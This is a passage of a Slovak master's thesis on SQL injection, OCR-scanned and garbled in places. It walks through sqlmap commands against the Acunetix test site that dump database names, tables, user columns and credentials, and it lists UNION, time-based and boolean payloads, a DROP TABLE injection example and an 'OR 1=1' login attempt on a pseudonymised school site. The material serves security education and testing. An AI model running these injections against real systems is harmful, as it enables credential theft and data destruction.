OS, ako databazovy uzivatel’, tak budeme mat uplny pristup k prikazovému riadku.
V nasledujicom priklade sa autorovi podarilo najst’ zranitel'ni SQLi, ziskat’ shell OS

a spustit’ prikaz ipconfig (2).
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2.4.2 Sqlninja (Kali Linux)

Sqlninja je vyborny SQL1 nastroj pre nahravanie shellov a obchadzanie sietovych IDS,
ktory tiez pouzivam vo svojej praci na detekciu a to z toho dévodu, ze Sqlmap nemusi
niektoré zranitelnosti najst a dostatocna kontrola v oblasti bezpecCnosti je dodlezita.
Jeho hlavnym rozdielom oproti Sqlmap tkvie vtom, ze tu je potrebné definovat
zranitelni premennu na rozdiel od predchadzajiceho nastroju. V Sgninja sa pouziva

nasledujuci prikaz na injektovanie premenne;j :

SQL2INJECT
Obr. 25: Sqlninja prikaz na injektovanie premennej (vlastné).

Pred pouzitim nastroja je nutné vytvorit konfiguracny SQL subor, ktory bude
obsahovat vSetky potrebné informécie o URL, typu http metody, cookie relacie

a agentov prehliadaca.
Tieto informacie ziskam nasledovne:

e Nainstalujem trial verziu Burpu zo stranok: https://bit.ly/3bHOsu4

e Spustim Burp a zapnem pozastavovanie proxy na poziadavku v kt. sa predava

zraniteIné pole

e Zachytavanie poziadavku uzivatel'a do /wflLogin.aspx, nasledna identifikéacia

parametrov Post
e Vdaka vyssie zmienenym krokom ziskam informacie, kt. sa pozaduja pri

injekciach s tymto nastrojom
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2.5 Analyza SQLi prikazov
2.5.1 Utoky na SQL prostrednictvom prikazu INSERT

Ako uto¢nik mame moznost vyuzit' v nas§ prospech zle napisané prikazy jazyka SQL.

Nasledujuci kod vklada udaj do tabulky SQL:

Ssth - = prepare(* INSERT INTO data (name) VALUES('$name')";

$sth - = execute();

Uto¢nik ma moznost do formulara vlozit data tak, aby premennd $name mala nasledovné
hodnoty:

Bea' ); DROP TABLE data; INSERT INTO funct (bar) VALUES (' lol

Vysledna funkcia bude vypadat’ nasledovne:

$sth - = prepare(* INSERT INTO data (name) VALUES('Bea'); DROP TABLE data;
INSERT INTO funct (bar) VALUES ('lol")");

Takymto spdsobom uto¢nik vymaze tabul'ku data a do tabul'ky funct vlozi vlastné data.

Je vyhodné pouzivat’ pozi¢né parametri. Namiesto vlozenia zadanej hodnoty pouzijeme
? ako indikator hodnoty. Nasledne samotni hodnotu predame ako parameter metody

execute (10).

Tab. 7: Analyza prikazu insert (10)

Analyza prikazu INSERT
RozSirenost’ 5
Naroc¢nost’ 6
Dopad S
Celkové riziko 5
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2.6 Analyza rizik

Ide o prvy krok v procese znizovania rizik. Tieto rizikd by mohli vzniknut ak by sa

spravcovia webovych aplikéacii nedostatocne starali oich informacnii bezpecnost

a nerobili

a d’alSie protiopatrenia.

Tab. 8: Hrozby pre informaéni bezpecnost’ (vlastné).

by pravidelné kontroly prostrednictvom rdznych skenovacich nastrojov

Hrozby pre dévernost’
Riadenie a audit logického pristupu- toto samotné
Predstieranie identity je mozné pouzit’ na obidenie riadenie nieje schopné rozlisit’ autorizovany pristup
T , y jenych ¢ ych ii. T i ¢ho, al i
I, |Predsticranic identity powivatel amerpmslf: a s tyfn Spoj CII:YC bezpﬁfcnostny’c funvkcn i:mo qd neamonzovaneho a[e IV)OUZ',IVB.II,IE I’nechamzmov
scenar moze viest' k problémom s dévernostou, vzdy ked riadenia sa predpoklada, Ze vie znizit’ dopad.
takéto predstieranie umozni pristup k citlivym informaciam. |Kontrola a analyza auditnych ziznamov mbze zstit’
vyskytujuce sa neautorizované aktivity.
‘Veasné oznamenie vSetkych neobvyklych udalosti
& . Skodlivy kéd moze viest’ ku strate dovernosti, napr. skrz nlf)ze obmedzt skon v pripade ut,OkOV. Sk"‘i‘ ivého
2. [Skodlivy kod A O kodu. Na detekovanie pokusov o ziskanie pristupu
’ do systémmu alebo siete mozno pouzit’ prostriedky na
monitorovanie pristupu.
Kazdy kto si v§imne nefunkénost’/poruchu softvéru
by to mal oznamit’ zodpovednej osobe, aby sa mohli
¢o najsko ’ ¢ kroky. Ni y
. , Ziyhanie softvéru mbe ohrozit’ dovernost, ak dany softvér | 0 "Skor vykonal potrebné kroky. Nickiorym
3. |Zlyhanie softvéru A s A i R zlyhaniam sa da predist’ kompletnym testovanim
chrani dévernost’, moze ohrozit dostupnost’. , . . .
softvéru pred jeho pouzivanim, inym zlyhaniam
vieme predist’ prostrednictvom riadenia zmien
softvéru.
Hrozby pre dostupnost’
Spravca vratane vsetkych zamestnancov by si mali
byt vedomi nasledkov umyselného ¢i neimyselného
“ . . e R L, . zni¢enia informacii. Vsetky média by mali byt
4. D k Infc ’ kmi. . . , ) i
eStruktivny Gto ormacie mozubyt’ zni¢ené destruktyvnimi uto! chranend pred neautorizovanym pristupom, pouitim
osobnej zodpovednosti za vetky média. Dolezité je
vytvaranie zaloh vsetkych dolezitych suborov, dat.
Implementécia zdvojenych komponentov
. o, . e v . s komunikacnych sluzieb moze byt vyuzita na znizenie
Zlyhanie konmumika¢nych Zlyhanie komunikacnych sluzieb ohrozuje dostupnost . . SO v
> rostriedkov a sluzieb informacii prenasanych prostrednictvom tychto sluzieb pravdepodobnosti lylania ko katuych slufich.
P P wehp v V zavislosti na prijateI'nom trvani vypadku mozno
pouwzit’ zilozné prostriedky.
Provi . ) . ol .
Lo . Technické zlyhania mézu sposobit nedostupnost’ informacii, re[vadzkove proc,:e'd ury sysicmove p "‘“"Y,"““? 2
6.  |Technické zlyhania Kioré sit v t¥chio siclach uloZens a spracovAvand spravna konfiguricia siete by sa mali pouzivat’ na
v P : minimaliziciu rizik technickych zlyhani.
Preverovanie a analyzovanie auditnych ziznamov
Neautorizovany pristup k Neautorizovany pristup k pocitacom, datam, sluzbam a moze zistit' neautorizované aktivity vykondvané
7.  |pocitacom, datam, sluzbama  |aplikdciam moZe byt hrozbou pre dostupnost’ tychto T'ud’'mi s pristupovymi pravami do systému. Kvoli
aplikaciam informacii, ak je mozné neautorizované znicenie. stazeniu neautorizovanému pristupu by sa malo
aplikovat’ oddelovanie sieti.
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Powzivanie neautorizovanych
programov a dat

Pouzivanie neautorizovanych programov a dit ohrozuje
dostupnost” informdcii ulozenych a spracovdvanych na
danom systéme, ak sl tieto programy a data pouzivané na
mazanie / odstratiovanie informacii, alebo ak obsahuju
zlomyselny koéd( moZe byt vlozeny v hrach a réznych
aplikiciach stahovanych z internetu)

Vsetci zamestnanci by si mali byt’ vedomi, ze by
nemali implementovat’ ziaden softvér bez
autorizacie/shcvalenia bezpe¢nostného manazér IT
alebo inej osoby zodpovednej za bezpecnost’ daného
systému. Zalohy by sa mali pouwzivat’ na obnovenie
akychkol'vek informdcii, sluzieb a prostriedkov, kt.
boli poskodené alebo stratené. Riadenie logického
pristupu by malo zaistit,, aby len autorizované osoby
mohli pouzit” softvér na spracovdvanie a mazanie
dat. V neposlednom rade by sa malo klast” doéraz na
to, aby vsetky programy a data boli pred pouzitim
preverené z h'adiska moznej pritomnosti $kodlivého
kodu.

Uzivatel'skd chyba

Chyby uzivatel'ov mdzu ohorzit’ dostupnost’ informacii.

Vsetci uzivatelia by mali byt riadne informovani /
zaSkoleni z hl'adiska predchddzania uzivatel'skym
chybdm pri spracovdvani informacii. Vzdelavanie
by malo zahriiat’ aj zaskolenie v definovanych
procedurach pre Specifické ¢innosti, ako sit
prevadzkové alebo bezpecnostné procediry.
Predosla generdcia zaloh mdze byt’ powzitd na
obnovu informacii, kt. boli zni¢ené nasledkom
uzivatel'skych chyb.

Hrozby pre integritu

10.

Technické zlyhanie

Technické zlyhanie v sieti mdze ynicit’ integritu akychkol'vek
informdcii, kt. su ulozené alebo spracovavarné v tejto sieti.

Aby sme sa vyhli zlyhaniu IS alebo siete, tak by sme
mali vyuzivat’ manazment konfigurdcii a zmien,
rovnako ako kapacitny manazment. Na zaistenie
bezproblémového chodu systémuy/siete sa ako
opatrenie odporiica pouwzivat’ aktudlm dokumenticiu
a pravidelm Gdr7zbu zariadeni. Zalohy by sa mali
powzivat’ na obnovu akychkol'vek informdcii, ktoré
boli poskodend.

11.

Neautorizovany pristup k
pocitatom, datam, sluzbam a
aplikiciam

Neautorizovany pristup k pocitacom, datam, sluzbdm a
aplikiciam moze byt” hrozbou pre integritu tychto informacii,
ak je mozna neautorizovand modifikicia.

Preverovanie a analyzovanie log ziznamov mézu
zistit’ neautorizované aktivity vykonavané l'und'mi s
pristupovymi pravami do systému. Na ochramu
integrity informacii, ktor¢ su uloZené alebo
prendsané mozno pouzit’ kryptografické prostriedky.

12.

Powzivanie neautorizovanych
programov a dat

Pouzivanie neautorizovanych programov a dit ohrozuje
integritu informécii ulozenych a spracovanych v prisluSnom
IS.

Vsetci zamestnanci by si mali byt’ vedomi, ze by
nemali inStalovat’ a pouzivat’ ziaden softvér bez
povoleni od osoby zodpovednej za bezpecnost’.
Kontrolovanie a analyzovanie logov mozu zistit
neautorizované aktivity. VSetky programy a data by
mali byt preverené z hl'adiska pritomnosti
Skodlivého kodu.
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2.7 Ako postupujem pri SQL injection utoku

2.7.1 Prieskum webovej aplikacie

Prvou fazou SQL injection utoku je prieskum aplikacie. Utognik (ja) v nej preskumavam
jej prezentacnu vrstvu — zameriam sa na HTML formulare, ktoré obsahuju prvky na
vstupy dat. V ramci tejto faze si na kazdej stranke testovacieho subjektu skusim vytvorit
uzivatel'sky ucet alebo si skusim k nejakému dohodnut’ pristup za ucelmi testovania,
vd’aka ¢omu budem schopna ziskat’ o aplikacii viac potrebnych informacii a vytvorit’ si
procesovy diagram prihlasovania uzivatela. Pri prieskume webovej aplikacie mi vo
velkej miere pomdze prehliada¢. Skopirujem si do Google vyhl'adavaca link stranky na
ktort sa zameriava, pripiSem k nej ,/php?id=" a zatnem vyhladavat odkaz v ktorom
budem napriklad vidiet konkrétne id uzivatel'a. Moze sa mi vel'mi 'ahko stat, ze mi toto
vyhladavanie nevyjde na prvy raz abudem musiet odkaz prepisovat na zaklade
informacii, ktoré uz o aplikacii mam a toho aké sa snazim najst. Mojim cielom je najst
také vstupy, kt. obsah bude nasledne pouzity v SQL dotaze a teda potencionalne nachylny
na SQL injection Gtok. V tejto faze pre zefektivnenie svojej prace budem pouzivat sqlmap
pretoze mi znane pomoze a zautomatizuje hl'adanie jednotlivych zranitelnosti (12,

vlastné).

2.7.1.1 Hlavné zdroje pri zbierani informacii:
e komunikacia so zadavatel'om ulohy na testovanie konkrétnej aplikacie,
e dokumentacia k aplikacii ( pri testovacich subjektoch, kde ju mam k dispozicii),
e vyhladavanie si historie k realizovanym utokom na aplikaciu (hackerone.com,
github.com),
e prieskum aplikécie z uzivatel'ského uctu,
e prieskum aplikacie prostrednictvom Google vyhl'adavaca ( Google hacking),

e prieskum testovacieho subjektu prostrednictvom sqlmap.
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2.7.2 Testovanie nachylnosti na jednotlivé chyby

Druhou fazou je testovanie nachylnosti webovych aplikacii na moznost SQLi.
Prostrednictvom skenera (sqlmap) by som mala byt schopné objavit niekol'ko kategorii
beznych slabin webovej aplikacie. Vyber skenovacieho nastroja je popisany v kapitole:
,,2.3 Predstavenie a analyza vybranych nastrojov na skenovanie webu®, tato Cast’ je
zameriavand len na zistovanie vstupov nachylnych na SQLi, takze tu budem pouzivat
len techniky, kt. nemenia data azaroven mi si schopné poskytnut informacie

o zranitel'nostiach databazy (12,2,).

2.7.3 Samotny SQLi utok

V tretej faze mam k dispozicii vystup z druhej, kt. pozostava zo zoznamu vstupov, kt. s
nachylné na SQLi. Na zéklade zameru Utoku si potom zvolim konkrétnu metdédu SQL1
a aplikyjeme ju prostrednictvom zvoleného nastroja, ktorym je sqlmap. V tejto Casti sa
mi moze vel'mi 'ahko stat’, ze nenajdem ziadnu slabinu, ¢o moze znamenat’ dve veci, bud’
by som mala zvazit' prekonfigurovanie svojho poziadavku, alebo sa tam skuto¢ne nemusi

nachadzat’ SQLi slabina.
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2.8 NajcastejSie vyskytované metody SQL injection

V ramci rozanalyzovania sposobov obrany proti SQLi sa budem opierat’ o informacie
vyplyvajuce z grafu v kapitole 2.3.2 a o kapitolu 1.7. Z tejto Statistky zahrnutej v grafe
mi ako najcastejSie metody SQL1 utokov vychadza tychto péat':

e Blind SQLi — testovanie odozvy v odpovedi (42%)

e Pokus o zistenie verzie databazy (29%)

e Pokus o ziskanie hesla (22%)

e Sondovanie (4%)

e Sondovanie skenovacieho nastroja za ucelom hl'adania slabin (3%) — tato zlozka
Statistiky spada pod eticky hacking ( whitehat) a z toho dovodu ju v tejto Casti

nebudem analyzovat'.

V zaklade sa proti tymto metddam je mozné branit tak, ze ked’ uz pri vytvarani kédu sa
vyvojar bude drzat pravidiel, ktoré su rozobrané v kapitole prehlad’ pravidiel pre
vytvaranie bezpe¢ného kodu od autora na kt. je odkaz pod ¢islom 4. Z tychto informacii
bude vychadzané pri tvorbe navrhu bezpecnostného odporucania pri obrane proti SQL1

metddam.

55



3 VLASTNY NAVRH RIESENIA

Hlavnou témou tejto diplomovej prace je vytvorenie praktickej ukazky pouzivania metod
SQL injection, oboznamenie sa s technikami obrany proti SQL injection a na zaklade
toho vytvorenie navrhu zavedenia obrany proti nim. Prva Cast navrhu rieSenia sa venuje
nastaveniu prostredia. Nasledujuca Cast’ je venovana samotnému testovaniu webovych
aplikéacii zvolenych testovacich subjektov, toto testovanie je zhodnotené v d’alSej kapitole

prace a na zaklade neho je vytvoreny navrh bezpe¢nostnych opatreni.

3.1 Nastavenie prostredia

V ramci penetracného testovania budu nakonfigurované dve rdzne prostredia, prvé
s Windows 10 a druhé s Kali Linuxom, kt. je prispdsobeny na penetracné testovanie.
Zmyslom tejto Casti je si vytvorit taky zakladovy systém o kt. sa vie ze bude v testoch

konzistentny.

Predtym ako zapoc¢ne prevadzkovanie virtualneho stroja a instalacia nastrojov potrebnych
k penetraénym testom, tak je dolezité sa presvedCit, ze je k dispozicii taky pocitac, kt.
zvladne vSetko potrebné. V tejto Casti je dolezité postupovat’ tak aby bolo mozné udrzat

pocitac bez infekcie Skodlivym softwarom.

Tab. 9: Poziadavky na hardware (vlastné).

RAM 8 GB aviac 8 GB e
Velkost’ disku 500 GB aviac (SSD je plus) 500 GB SSD V]
Procesor i7 Intel Quad Core Intel Core i7-7700HQ e

WMware Workstations/Fusion/Player/Virtual Box Virtual box V|

3.1.1.1 InStaldcia Kali Linuxu:
V predchéadzajucej podkapitole bolo overené ¢i notebook urceny na testovanie spliiuje
minimalne poziadavky na hardware pre penetrané testovanie, Co spliiuje. Tato kapitola

sa venuje jednotlivym krokom ako postupovat pri instalacii Kali Linuxu na Virtual Box.

Distribuciu Kali Linux som stahovala z tejto adresy : https://www.kali.org/downloads/
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Hned ako bude stiahnuty ISO subor Kali Linux, tak je potrebné otvorit Virtual Box

a pokracovat’ podl'a nasledujucich bodov:

i =~
Bola vybrana moznost’ v ¢ervenom kruhu. astaveni Zahodit Spustit

Obr. 26: Tvorba Linuxu vo VB (vlastné).

? x
Po vyskoceni okna, aké je mozno vidiet - o
Vytvoren( virtualniho pocitace
vpravo na obr. 23, boli vSetky kolonky  naizevaoperacnisystém
Vyp]nené tak, ako su na tom istom obrazku. o et

install on it. The name you choose will be used throughout VirtualBox to
identify this machine.

Name: [Kali |

Machine Folder: | Ci\Users\Sarah\VirtualBox VMs \/‘

Typ: | Linux - ﬁ

Verze: |Debian (64-bit)

xpertniretim
Obr. 27: Tvorba virtudlneho pc (vlastné).
Bola zvolena moznost’ d’alsi a vybrata velkost' paméite, odporucané minimum su

4 GB, vtomto pripade polovica zcelkovej pamite, ¢o na toto konkrétne
testovanie bude stacit’.

V nasledujucom kroku bola zvolend moznost Vytvorit virtualny hard disk
a nasledne potvrdena. Vyber typu — VDI (VirtualBox Disk Image).

Miesto na fyzickom hard disku bolo dynamicky alokované.

V d’alSom kroku bolo vyhl'adané umiestnenie instala¢ného suboru Kali Linuxu
a bol vytvoreny virtualny pocitac¢, o spustilo inStalaciu.

Dalej je nutné vybrat moznost instalovat’ (install) a prejst do kroku, kde sa vybera
jazyk, v akom to chce instalujiica osoba mat’ a nasledne to potvrdi.

Meno pocitaca bolo nechané prednastavené ako aj nazov domény, kt. vyhodilo
v nasledovnom kroku.

Nastavenie uzivatel'a a hesla — zvolit’ heslo a zopakovat’ zvolené heslo (d’alej).
Rozdelenie disku — tu sa voli spdsob rozdelenia -> Asistovane — pouzit’ cely disk.
Rozdelenie disku (vybrat’ disk pre rozdelenie).

Rozdelenie disku ( Spdsob rozdelenia) -> vyber prve; moznost’ (VSetky subory
v jednej oblasti), potvrdenie zmeny anaslednd volba moznosti (Ukoncit
rozdel'ovanie a zapisat zmeny na disk) — potvrdenie.

Instaluje sa systém.
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3.2 Realizacia testovania

V tejto Casti zavereCnej prace je v prvom rade otestované, ¢i bolo dobre nastavené
prostredie sqlmap. Toto overenie je vykonané tak , ze je itoCené na testovy web Acunetix.
Pokial' jednotlivé prikazy budu fungovat a bude mozné ziskat uzivatel'ské meno
s heslom, tak z toho vyplyva, ze je vSetko nastavené spravne a testovanie ostatnych

vybranych testovacich Subjektov B,C,D moze zacat.

3.2.1 Testovanie webovej aplikacie Subjekt A

Pri testovani webu na zaciatok vyrazne pri praci pomodze technika nazyvana Google
hacking. Odkaz vybranej webovej stranky na testovanie(Subjekt A, B,C) je skopirovana
avlozeny do Google vyhladavaca. Bude to vypadat nasledovne: site: nazov

stranky/php?id=

site -http://testphp_vulnweb com/php?id=

Obr. 28:Upraveny odkaz s ciePom hl’adat’ ID (vlastné).

Po zadani udajov upravenych ako z obr.22 do prehliadaca by mi to malo pomdct najst

link, ktory mi pomoze pti utoku na testovaci Subjekt A, B, C.

site -hitp://ftestphpvulnweb.com/php?id=

All Images Videos News Maps Settings -

Czech Republic * Safe Search: Moderate ~ Any Time -

artist: r4w8173 - vulnweb.com
[m] testphpvulnweb com/artists php?artist=1

Obr. 29: HPadanie vhodného odkazu prostrednictvom Google vyhPadavaca (vlastné).
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Aby pouzité testovacie subjekty mohli nad’alej ostat’ pseudonymizované, tak pri realizacii
tohto kroku bola pouzita testovacia stranka od Acunetix, kde prostrednictvom Googlu

bolo mozné najst’ odkaz, ktory je schopny pomaoct’ pri realizacii utoku.

V d’alSom kroku bol pouzity prikazovy riadok v ktorom bol otvoreny nastroj, kt. sa vola

sqlmap a tam bol vlozeny skopirovany odkaz.

:~$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 —dbs

http://sqlmap.or

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end use
r's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not re
sponsible for any misuse or damage caused by this program

[*] starting @ 2 146 /2020-05-24/

[INFO] testing connection to the target URL
[N checking if the target is protected by some kind of WAF/IPS
testing if the target URL content is stable
[ target URL content is stable
testing if GET parameter 'artist' is dynamic
[INFO] GET parameter 'artist' appears to be dynamic
[INFO] heuristic (basic) test shows that GET parameter 'artist’' might be injectable (possible DBMS: ‘MySQL'

[INFO] testing for SQL injection on GET parameter 'artist'

Obr. 30:Sqlmap- hl’adanie databdzy (vlastné).

Ako je vidiet na obr.27, tak bolo mozné najst MYSQL databazu.

sarah@kali:
Soubor Akce Upravy Zobrazeni Napovéda
-u http://testphp.vulnweb.com/artists.php?artist=1 —dbs
Y

[ [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[ [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)

[ [INFO] GET parameter 'artist' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="sem")

[ 0] testing 'Generic inline queries

It testing 'MysqQL .5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'

[ testing 'MysSQL 5

[ testing 'MySqL
testing 'MySQL
testing 'MySQL
testing 'MySQL
testing 'MysQL
testing 'MySQL
testing 'MySQL
testing 'MySQL
testing 'MySQL
testing 'MysQL
testing 'MySQL
testing 'MySqL
testing 'MySQL
testing 'MySQL
testing 'MysQL
testing 'MysQL
testing 'MySqL
testing 'MySQL
testing 'MySQL
testing 'MySQL
testing 'MySQL inline queries’
testing 'MysqQL = 12 stacked queries (comment)'
testing 'MysQL > 5.0.12 stacked queries'
testing 'MySQL > 5.0.12 stacked queries (query SLEEP - comment)'
testing 'MySQL > 5.0.12 stacked queries (query SLEEP)'
testing 'MySQL < 5.8.12 stacked queries (heavy query - comment)'
testing 'MySQL < 5.0.12 stacked queries (heavy query)'
testing 'MySQL > 5.0.12 AND time-based blind (query SLEEP)'
GET parameter 'artist' appears to be 'MySQL > 5.0.12 AND time-based blind (query SLEEP)' injectable
testing 'Generic UNION query (NULL) - 1 to 20 columns'
automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the

1 target URL appears to have 3 columns in query
[INFO] GET parameter ‘artist' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable

5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'

5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'

.5 OR error-based - WHERE or HAVING clause (EXP)"

.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'

@ AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'

0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'

.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'

1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
1 OR error-based - WHERE or HAVING clause (FLOOR)"
ror-based - WHERE or HAVING clause (FLOOR)'
1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)"
5 error-based - Parameter replace (BIGINT UNSIGNED)'
5 error-based - Parameter replace (EXP)'
7

.8 error-based - Parameter replace (JSON_KEYS)'
error-based - Parameter replace (FLOOR)
.1 error-based - Parameter replace (UPDATEXML)'
.1 error-based - Parameter replace (EXTRACTVALUE)®
e
.0.

WWVWVWWYWSWVWWWYWYWWYWYWWYWW

Obr. 31:Testovanie databaze (vlastné).
V nasledujucom kroku bolo spustené testovanie pre MYSQL databazu.
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0] [INFO] GET parameter 'artist' appears to be 'MySQL 3 5.0.12 AND tine-based blind (query SLEEP)' injectable

Obr. 32: Zranitel’nost’ v databize (vlastné).
Bola najdena slabina databazy, kt. je vidiet na obr.29, vdaka tejto slabine by malo byt

realizovatelné najst uzivatel'ské meno a heslo. Bude sa uskuto¢iiovat’ pokus o zmenu

povolenia databazy prostrednictvom SQL1, aby som bolo mozné ziskat uzivatel'ské data.

sqlmap identified the following injection point(s) with a total of 53 HTTP(s) requests:

Parameter: artist (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: artist=1 AND 7529=7529

Type: time-based blind
Title: MySQL > 5.9.12 AND time-based blind (query SLEEP)
Payload: artist=1 AND (SELECT 8855 FROM (SELECT(SLEEP(5)))cS1B)

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: artist=-5986 UNION ALL SELECT NULL,NULL,CONCAT(@x7176767a71,0x504b774f53584249444¢c74634a6d446a7854475a667847436d484d6344615567694436b645a6142,0x717862707

:13] [INFO] the back-end DBMS is MySQL
] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
1 [WARNING] in case of continuous data retrieval problems you are advised to try a switch '—no-cast' or switch '—hex'
DBMS: MySQL 2 5.0.12
1 [INFO] fetching database names
:15] [INFO] retrieved: 'information_schema’
:15] [INFO] retrieved: 'acuart’
ble databases [2]:
[*] acuart
[*] information_schema

Obr. 33: Zistenie konkrétneho nazvu v databize (vlastné).

Bolo zistené, ze databaza sa vola acuart a v dalSom kroku sa bude realizovat’ pokus o

zistenie poctu tabuliek v tejto databaze, ¢o sa uskutoCni prostrednictvom tohto prikazu :

:~$ sqlmap -u testphp.vulnweb.com/artists.php?artist=1 -D acuart —tables

Obr. 34: Zistovanie poftu a nizvov stipcov v databsize acuart (vlastné).
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sarah@kali: ~

Soubor Akce Upravy Zobrazeni Napovéda

$ sqlmap -u testphp.vulnweb.com/artists.php?artis -D acuart —tables

http://sqlmap.or:

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state
and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 20:56:08 /2020-05-24/

[ 1 [INFO] resuming back-end DBMS 'mysql’
] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:

Parameter: artist (GET)
: boolean-based blind
: AND boolean-based blind - WHERE or HAVING clause
Payload: artist=1 AND 7529=7529

Type: time-based blind
Title: MySQL > 5.0.12 AND time-based blind (query SLEEP)
Payload: artist=1 AND (SELECT 855 FROM (SELECT(SLEEP(5)))cS1B)

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: artist=-5986 UNION ALL SELECT NULL,NULL,CONCAT(0x7176767a71,0x504b774F53584249444C74634a6d446a7854475a667847436d484d634461556F694F436b645a6142,0%7178627071) —

fetching tables for database: 'acuart'
retrieved: ‘artists’

[1nFO] retrieved
acuart

pictures
products
users

-

6:10] [INFO] fetched data logged to text files under '/home/sarah/.sqlmap/output/testphp.vulnweb.com'

Obr. 35: Uspesné nijdenie vypisu tabuliek v databsze (vlastné).

Bolo zistené, ze databaza acuart obsahuje 8 tabuliek, kt. ndzvy je vidiet na obr. 32.
Vzhl'adom k tomu, Ze cielom je njst’ informacie o uzivatel'skych menach a heslach, tak
na preskimavanie bude zvolena tabulka users avykond sa to prostrednictvom

nasledujuceho prikazu, kt, je vidiet na obr. 33:

:~$ sqlmap -u testphp.vulnweb.com/artists.php?artist=1 -D acuart -T us

Obr. 36: Prikaz na ziskanie stipcov z tabul’ky (vlastné).
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[21:09:16] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL = 5.08.12

: [INFO] fetching columns for table 'users' in database 'acuart'
[INFO] retrieved: 'uname','wvarchar(10e)’
[INFO] retrieved: 'pass','varchar(1ee)'
[INFO] retrieved: 'cc®,'varchar(10@)’
[INFO] retrieved: 'address','mediumtext®
[INFO] retrieved: 'email','warchar(1@e)"
[INFO] retrieved: 'name’, 'varchar(100)'
[INFO] retrieved: 'phone','wvarchar(1ee)"
[INFO] retrieved: 'cart','varchar(1ee)'
Database: acuart

B B B B Bl el el e e

Table: users

[& columns]
Fm——— T T +
| Column | Type
Fm——— T T +
varchar(10e)
address mediumtext
cart varchar(10e)
cc varchar(10e)
email varchar(100)
pass varchar(100)
phone varchar(1ee)
varchar(10e)
Fmmmm— mmmm +

Obr. 37: Ndjdeny vypis stipcov y tabul’ky users (vlastné).

Sqlmap po zadani prikazu z obr. 33 spristupnila vystup na obr.35, vd’aka comu st teraz

zname nazvy stlpcov v tabulke users.

:~$ sqlmap -u testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C uname —dump

Obr. 38: Prikaz na zistenie konkrétneho uzivatel’ského mena (vlastné).

Database: acuart
Table: users
[1 entry]

Obr. 39: Ziskanie uzivatel’ského mena (vlastné).
Ako vystup bolo nakoniec ziskané uzivatel'ské meno: test. V dalSom kroku bude

realizovany pokus o nadobudnutie k nemu prislusSného hesla a uskutoéni sa to

prostrednictvom prikazu z obr. 37:
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:~$ sqlmap -u testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C pass —dump
Obr. 40: Prikaz na ziskanie uzivatel’ského hesla (vlastné).
Database: acuart

Table: users
[1 entry]

Obr. 41: Ziskanie uzivatel’ského hesla (vlastné).
Poslednym prikazom bolo ziskané aj heslo: test. Vzhl'adom k tomu, ze prostrednictvom

sqlmap bolo najdené uzivatel'ské meno a aj k nemu prislusné heslo v databéaze, tak bude

nasledovat’ pokus o prihlasenie so ziskanymi uzivatel'skymi udajmi.

ahmed (test)
On this page you can visualize or edit you user information.

Mame: ahmed

Credit card number: [ahmed

E-Mail: f7edafZfb2@emailmonkey.club
Phone number: 11144111
Address: hacer

update

Obr. 42: Uzivatel’ské informacie (17)

Vzhl'adom k tomu, ze sa prostrednictvom Blind SQLi podarilo ziskat’ uzivatel'ské meno,
heslo a pri ziadnom prikaze nevyhodilo chybu typu, ze prikaz neexistyje, tak to

vyhodnocujem tak, ze je prostredie sqlmap nainstalované a nastavené spravne.
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3.2.2 Testovanie Subjektu B

Pri testovani tohto webu napriek tomu, Ze je vo WordPresse bude skusené Stastie
s Google hackingom a bude sa realizovat vyhladavanie nejakého uzito¢ného odkazu.
Skopiruje sa odkaz webovej stranky Subjektu A, ktora bola vybrata na testovanie a vlozi

sa do Google vyhl'adavaca. Bude to vypadat’ nasledovne: site:

https:/SubjektB.sk/php?1d=

Obr. 43:Upraveny odkaz Subjektu B (vlastné).

V celej Casti testovania bude v praci cenzurovany nazov tejto stranky tak, ze bude
nahradzany ako ,,SubjektB*“. Na prvy pohlad to pdsobi tak, ze webova aplikacia ma
celkom oSetrené vyhladavanie informécii prostrednictvom Googlu za ucelom utoku,
respektive pri takto sformulovanom odkaze to vyhladavalo len ID dokumentov na
siahnutie, ktoré st na strankach skoly verejne dostupné, ¢o vypadalo ako je vidiet na obr.

41.
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Obr. 44:0dkaz Subjektu B najdeny na Google s ¢. ID(vlastné).

& 'bahurekova OR 1=1

8  cececcces

Obr. 45: Prihlasovanie sa na ucet Skoly (vlastné).

Na obr. 42 bola skiSana metoda utoku, kt. je v praci rozpisanu pod obr.6, boli testované

